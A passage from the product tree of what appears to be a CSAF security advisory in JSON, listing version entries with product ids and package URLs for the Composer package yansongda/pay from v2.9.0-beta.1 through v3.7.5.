"product_version_range", "name": "vers:unknown/v2.9.0-beta.1", "product": { "name": "vers:unknown/v2.9.0-beta.1", "product_id": "CSAFPID-5913355", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.9.0-beta.1" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.9.0-beta.2", "product": { "name": "vers:unknown/v2.9.0-beta.2", "product_id": "CSAFPID-5913356", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.9.0-beta.2" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.9.1", "product": { "name": "vers:unknown/v2.9.1", "product_id": "CSAFPID-5913357", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.9.1" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.9.2", "product": { "name": "vers:unknown/v2.9.2", "product_id": "CSAFPID-5913358", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.9.2" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.9.3", "product": { "name": "vers:unknown/v2.9.3", "product_id": "CSAFPID-5913359", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.9.3" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.9.4", "product": { "name": "vers:unknown/v2.9.4", "product_id": "CSAFPID-5913360", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.9.4" } } }, { "category": "product_version_range", "name": "vers:unknown/v2.9.5", "product": { "name": "vers:unknown/v2.9.5", "product_id": "CSAFPID-5913361", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v2.9.5" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.0.0", "product": { "name": "vers:unknown/v3.0.0", "product_id": "CSAFPID-5913362", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.0.0" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.0.0-alpha.0", "product": { "name": "vers:unknown/v3.0.0-alpha.0", "product_id": "CSAFPID-5913363", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.0.0-alpha.0" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.0.0-alpha.1", "product": { "name": "vers:unknown/v3.0.0-alpha.1", "product_id": "CSAFPID-5913364", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.0.0-alpha.1" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.0.0-alpha.10", "product": { "name": "vers:unknown/v3.0.0-alpha.10", "product_id": "CSAFPID-5913365", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.0.0-alpha.10" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.0.0-alpha.2", "product": { "name": "vers:unknown/v3.0.0-alpha.2", "product_id": "CSAFPID-5913366", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.0.0-alpha.2" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.0.0-alpha.3", "product": { "name": "vers:unknown/v3.0.0-alpha.3", "product_id": "CSAFPID-5913367", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.0.0-alpha.3" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.0.0-alpha.4", "product": { "name": "vers:unknown/v3.0.0-alpha.4", "product_id": "CSAFPID-5913368", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.0.0-alpha.4" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.0.0-alpha.5", "product": { "name": "vers:unknown/v3.0.0-alpha.5", "product_id": "CSAFPID-5913369", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.0.0-alpha.5" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.0.0-alpha.6", "product": { "name": "vers:unknown/v3.0.0-alpha.6", "product_id": "CSAFPID-5913370", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.0.0-alpha.6" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.0.0-alpha.7", "product": { "name": "vers:unknown/v3.0.0-alpha.7", "product_id": "CSAFPID-5913371", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.0.0-alpha.7" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.0.0-alpha.8", "product": { "name": "vers:unknown/v3.0.0-alpha.8", "product_id": "CSAFPID-5913372", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.0.0-alpha.8" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.0.0-alpha.9", "product": { "name": "vers:unknown/v3.0.0-alpha.9", "product_id": "CSAFPID-5913373", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.0.0-alpha.9" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.0.0-beta.0", "product": { "name": "vers:unknown/v3.0.0-beta.0", "product_id": "CSAFPID-5913374", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.0.0-beta.0" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.0.0-beta.1", "product": { "name": "vers:unknown/v3.0.0-beta.1", "product_id": "CSAFPID-5913375", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.0.0-beta.1" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.0.0-beta.10", "product": { "name": "vers:unknown/v3.0.0-beta.10", "product_id": "CSAFPID-5913376", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.0.0-beta.10" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.0.0-beta.2", "product": { "name": "vers:unknown/v3.0.0-beta.2", "product_id": "CSAFPID-5913377", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.0.0-beta.2" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.0.0-beta.3", "product": { "name": "vers:unknown/v3.0.0-beta.3", "product_id": "CSAFPID-5913378", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.0.0-beta.3" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.0.0-beta.4", "product": { "name": "vers:unknown/v3.0.0-beta.4", "product_id": "CSAFPID-5913379", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.0.0-beta.4" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.0.0-beta.5", "product": { "name": "vers:unknown/v3.0.0-beta.5", "product_id": "CSAFPID-5913380", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.0.0-beta.5" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.0.0-beta.6", "product": { "name": "vers:unknown/v3.0.0-beta.6", "product_id": "CSAFPID-5913381", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.0.0-beta.6" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.0.0-beta.7", "product": { "name": "vers:unknown/v3.0.0-beta.7", "product_id": "CSAFPID-5913382", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.0.0-beta.7" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.0.0-beta.8", "product": { "name": "vers:unknown/v3.0.0-beta.8", "product_id": "CSAFPID-5913383", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.0.0-beta.8" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.0.0-beta.9", "product": { "name": "vers:unknown/v3.0.0-beta.9", "product_id": "CSAFPID-5913384", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.0.0-beta.9" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.0.0-rc.0", "product": { "name": "vers:unknown/v3.0.0-rc.0", "product_id": "CSAFPID-5913385", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.0.0-rc.0" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.0.0-rc.1", "product": { "name": "vers:unknown/v3.0.0-rc.1", "product_id": "CSAFPID-5913386", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.0.0-rc.1" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.0.0-rc.2", "product": { "name": "vers:unknown/v3.0.0-rc.2", "product_id": "CSAFPID-5913387", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.0.0-rc.2" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.0.1", "product": { "name": "vers:unknown/v3.0.1", "product_id": "CSAFPID-5913388", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.0.1" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.0.10", "product": { "name": "vers:unknown/v3.0.10", "product_id": "CSAFPID-5913389", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.0.10" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.0.11", "product": { "name": "vers:unknown/v3.0.11", "product_id": "CSAFPID-5913390", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.0.11" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.0.12", "product": { "name": "vers:unknown/v3.0.12", "product_id": "CSAFPID-5913391", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.0.12" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.0.13", "product": { "name": "vers:unknown/v3.0.13", "product_id": "CSAFPID-5913392", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.0.13" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.0.14", "product": { "name": "vers:unknown/v3.0.14", "product_id": "CSAFPID-5913393", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.0.14" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.0.15", "product": { "name": "vers:unknown/v3.0.15", "product_id": "CSAFPID-5913394", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.0.15" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.0.16", "product": { "name": "vers:unknown/v3.0.16", "product_id": "CSAFPID-5913395", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.0.16" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.0.17", "product": { "name": "vers:unknown/v3.0.17", "product_id": "CSAFPID-5913396", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.0.17" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.0.18", "product": { "name": "vers:unknown/v3.0.18", "product_id": "CSAFPID-5913397", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.0.18" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.0.19", "product": { "name": "vers:unknown/v3.0.19", "product_id": "CSAFPID-5913398", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.0.19" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.0.2", "product": { "name": "vers:unknown/v3.0.2", "product_id": "CSAFPID-5913399", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.0.2" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.0.20", "product": { "name": "vers:unknown/v3.0.20", "product_id": "CSAFPID-5913400", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.0.20" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.0.21", "product": { "name": "vers:unknown/v3.0.21", "product_id": "CSAFPID-5913401", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.0.21" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.0.22", "product": { "name": "vers:unknown/v3.0.22", "product_id": "CSAFPID-5913402", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.0.22" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.0.23", "product": { "name": "vers:unknown/v3.0.23", "product_id": "CSAFPID-5913403", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.0.23" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.0.24", "product": { "name": "vers:unknown/v3.0.24", "product_id": "CSAFPID-5913404", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.0.24" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.0.25", "product": { "name": "vers:unknown/v3.0.25", "product_id": "CSAFPID-5913405", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.0.25" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.0.26", "product": { "name": "vers:unknown/v3.0.26", "product_id": "CSAFPID-5913406", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.0.26" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.0.27", "product": { "name": "vers:unknown/v3.0.27", "product_id": "CSAFPID-5913407", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.0.27" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.0.3", "product": { "name": "vers:unknown/v3.0.3", "product_id": "CSAFPID-5913408", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.0.3" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.0.4", "product": { "name": "vers:unknown/v3.0.4", "product_id": "CSAFPID-5913409", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.0.4" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.0.5", "product": { "name": "vers:unknown/v3.0.5", "product_id": "CSAFPID-5913410", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.0.5" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.0.6", "product": { "name": "vers:unknown/v3.0.6", "product_id": "CSAFPID-5913411", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.0.6" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.0.7", "product": { "name": "vers:unknown/v3.0.7", "product_id": "CSAFPID-5913412", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.0.7" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.0.8", "product": { "name": "vers:unknown/v3.0.8", "product_id": "CSAFPID-5913413", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.0.8" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.0.9", "product": { "name": "vers:unknown/v3.0.9", "product_id": "CSAFPID-5913414", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.0.9" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.1.0", "product": { "name": "vers:unknown/v3.1.0", "product_id": "CSAFPID-5913415", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.1.0" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.1.0-beta.0", "product": { "name": "vers:unknown/v3.1.0-beta.0", "product_id": "CSAFPID-5913416", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.1.0-beta.0" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.1.0-beta.1", "product": { "name": "vers:unknown/v3.1.0-beta.1", "product_id": "CSAFPID-5913417", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.1.0-beta.1" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.1.0-rc.0", "product": { "name": "vers:unknown/v3.1.0-rc.0", "product_id": "CSAFPID-5913418", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.1.0-rc.0" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.1.1", "product": { "name": "vers:unknown/v3.1.1", "product_id": "CSAFPID-5913419", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.1.1" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.1.10", "product": { "name": "vers:unknown/v3.1.10", "product_id": "CSAFPID-5913420", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.1.10" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.1.11", "product": { "name": "vers:unknown/v3.1.11", "product_id": "CSAFPID-5913421", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.1.11" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.1.12", "product": { "name": "vers:unknown/v3.1.12", "product_id": "CSAFPID-5913422", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.1.12" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.1.2", "product": { "name": "vers:unknown/v3.1.2", "product_id": "CSAFPID-5913423", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.1.2" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.1.3", "product": { "name": "vers:unknown/v3.1.3", "product_id": "CSAFPID-5913424", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.1.3" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.1.4", "product": { "name": "vers:unknown/v3.1.4", "product_id": "CSAFPID-5913425", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.1.4" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.1.5", "product": { "name": "vers:unknown/v3.1.5", "product_id": "CSAFPID-5913426", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.1.5" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.1.6", "product": { "name": "vers:unknown/v3.1.6", "product_id": "CSAFPID-5913427", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.1.6" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.1.7", "product": { "name": "vers:unknown/v3.1.7", "product_id": "CSAFPID-5913428", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.1.7" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.1.8", "product": { "name": "vers:unknown/v3.1.8", "product_id": "CSAFPID-5913429", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.1.8" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.1.9", "product": { "name": "vers:unknown/v3.1.9", "product_id": "CSAFPID-5913430", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.1.9" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.2.0", "product": { "name": "vers:unknown/v3.2.0", "product_id": "CSAFPID-5913431", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.2.0" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.2.1", "product": { "name": "vers:unknown/v3.2.1", "product_id": "CSAFPID-5913432", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.2.1" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.2.10", "product": { "name": "vers:unknown/v3.2.10", "product_id": "CSAFPID-5913433", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.2.10" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.2.11", "product": { "name": "vers:unknown/v3.2.11", "product_id": "CSAFPID-5913434", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.2.11" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.2.12", "product": { "name": "vers:unknown/v3.2.12", "product_id": "CSAFPID-5913435", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.2.12" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.2.13", "product": { "name": "vers:unknown/v3.2.13", "product_id": "CSAFPID-5913436", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.2.13" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.2.14", "product": { "name": "vers:unknown/v3.2.14", "product_id": "CSAFPID-5913437", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.2.14" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.2.2", "product": { "name": "vers:unknown/v3.2.2", "product_id": "CSAFPID-5913438", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.2.2" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.2.3", "product": { "name": "vers:unknown/v3.2.3", "product_id": "CSAFPID-5913439", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.2.3" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.2.4", "product": { "name": "vers:unknown/v3.2.4", "product_id": "CSAFPID-5913440", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.2.4" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.2.5", "product": { "name": "vers:unknown/v3.2.5", "product_id": "CSAFPID-5913441", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.2.5" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.2.6", "product": { "name": "vers:unknown/v3.2.6", "product_id": "CSAFPID-5913442", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.2.6" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.2.7", "product": { "name": "vers:unknown/v3.2.7", "product_id": "CSAFPID-5913443", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.2.7" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.2.8", "product": { "name": "vers:unknown/v3.2.8", "product_id": "CSAFPID-5913444", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.2.8" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.2.9", "product": { "name": "vers:unknown/v3.2.9", "product_id": "CSAFPID-5913445", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.2.9" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.3.0", "product": { "name": "vers:unknown/v3.3.0", "product_id": "CSAFPID-5913446", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.3.0" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.3.0-alpha.0", "product": { "name": "vers:unknown/v3.3.0-alpha.0", "product_id": "CSAFPID-5913447", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.3.0-alpha.0" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.3.0-alpha.1", "product": { "name": "vers:unknown/v3.3.0-alpha.1", "product_id": "CSAFPID-5913448", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.3.0-alpha.1" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.3.0-alpha.2", "product": { "name": "vers:unknown/v3.3.0-alpha.2", "product_id": "CSAFPID-5913449", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.3.0-alpha.2" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.3.0-alpha.3", "product": { "name": "vers:unknown/v3.3.0-alpha.3", "product_id": "CSAFPID-5913450", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.3.0-alpha.3" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.3.0-beta.0", "product": { "name": "vers:unknown/v3.3.0-beta.0", "product_id": "CSAFPID-5913451", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.3.0-beta.0" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.3.0-beta.1", "product": { "name": "vers:unknown/v3.3.0-beta.1", "product_id": "CSAFPID-5913452", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.3.0-beta.1" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.3.0-beta.2", "product": { "name": "vers:unknown/v3.3.0-beta.2", "product_id": "CSAFPID-5913453", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.3.0-beta.2" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.3.0-beta.3", "product": { "name": "vers:unknown/v3.3.0-beta.3", "product_id": "CSAFPID-5913454", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.3.0-beta.3" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.3.1", "product": { "name": "vers:unknown/v3.3.1", "product_id": "CSAFPID-5913455", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.3.1" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.4.0", "product": { "name": "vers:unknown/v3.4.0", "product_id": "CSAFPID-5913456", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.4.0" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.4.1", "product": { "name": "vers:unknown/v3.4.1", "product_id": "CSAFPID-5913457", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.4.1" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.4.2", "product": { "name": "vers:unknown/v3.4.2", "product_id": "CSAFPID-5913458", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.4.2" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.5.0", "product": { "name": "vers:unknown/v3.5.0", "product_id": "CSAFPID-5913459", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.5.0" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.5.1", "product": { "name": "vers:unknown/v3.5.1", "product_id": "CSAFPID-5913460", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.5.1" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.5.2", "product": { "name": "vers:unknown/v3.5.2", "product_id": "CSAFPID-5913461", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.5.2" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.5.3", "product": { "name": "vers:unknown/v3.5.3", "product_id": "CSAFPID-5913462", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.5.3" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.6.0", "product": { "name": "vers:unknown/v3.6.0", "product_id": "CSAFPID-5913463", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.6.0" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.6.0-beta.0", "product": { "name": "vers:unknown/v3.6.0-beta.0", "product_id": "CSAFPID-5913464", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.6.0-beta.0" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.6.0-beta.1", "product": { "name": "vers:unknown/v3.6.0-beta.1", "product_id": "CSAFPID-5913465", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.6.0-beta.1" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.6.1", "product": { "name": "vers:unknown/v3.6.1", "product_id": "CSAFPID-5913466", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.6.1" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.6.2", "product": { "name": "vers:unknown/v3.6.2", "product_id": "CSAFPID-5913467", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.6.2" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.6.3", "product": { "name": "vers:unknown/v3.6.3", "product_id": "CSAFPID-5913468", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.6.3" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.6.4", "product": { "name": "vers:unknown/v3.6.4", "product_id": "CSAFPID-5913469", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.6.4" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.6.5", "product": { "name": "vers:unknown/v3.6.5", "product_id": "CSAFPID-5913470", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.6.5" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.7.0", "product": { "name": "vers:unknown/v3.7.0", "product_id": "CSAFPID-5913471", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.7.0" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.7.1", "product": { "name": "vers:unknown/v3.7.1", "product_id": "CSAFPID-5913472", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.7.1" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.7.10", "product": { "name": "vers:unknown/v3.7.10", "product_id": "CSAFPID-5913473", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.7.10" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.7.11", "product": { "name": "vers:unknown/v3.7.11", "product_id": "CSAFPID-5913474", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.7.11" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.7.12", "product": { "name": "vers:unknown/v3.7.12", "product_id": "CSAFPID-5913475", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.7.12" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.7.13", "product": { "name": "vers:unknown/v3.7.13", "product_id": "CSAFPID-5913476", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.7.13" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.7.14", "product": { "name": "vers:unknown/v3.7.14", "product_id": "CSAFPID-5913477", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.7.14" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.7.15", "product": { "name": "vers:unknown/v3.7.15", "product_id": "CSAFPID-5913478", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.7.15" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.7.16", "product": { "name": "vers:unknown/v3.7.16", "product_id": "CSAFPID-5913479", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.7.16" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.7.17", "product": { "name": "vers:unknown/v3.7.17", "product_id": "CSAFPID-5913480", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.7.17" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.7.18", "product": { "name": "vers:unknown/v3.7.18", "product_id": "CSAFPID-5913481", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.7.18" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.7.19", "product": { "name": "vers:unknown/v3.7.19", "product_id": "CSAFPID-5913482", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.7.19" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.7.2", "product": { "name": "vers:unknown/v3.7.2", "product_id": "CSAFPID-5913483", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.7.2" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.7.3", "product": { "name": "vers:unknown/v3.7.3", "product_id": "CSAFPID-5913484", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.7.3" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.7.4", "product": { "name": "vers:unknown/v3.7.4", "product_id": "CSAFPID-5913485", "product_identification_helper": { "purl": "pkg:composer/yansongda/pay@v3.7.4" } } }, { "category": "product_version_range", "name": "vers:unknown/v3.7.5", "product": { "name": "vers:unknown/v3.7.5", "product_id": "CSAFPID-5913486", "product_identification_helper": { 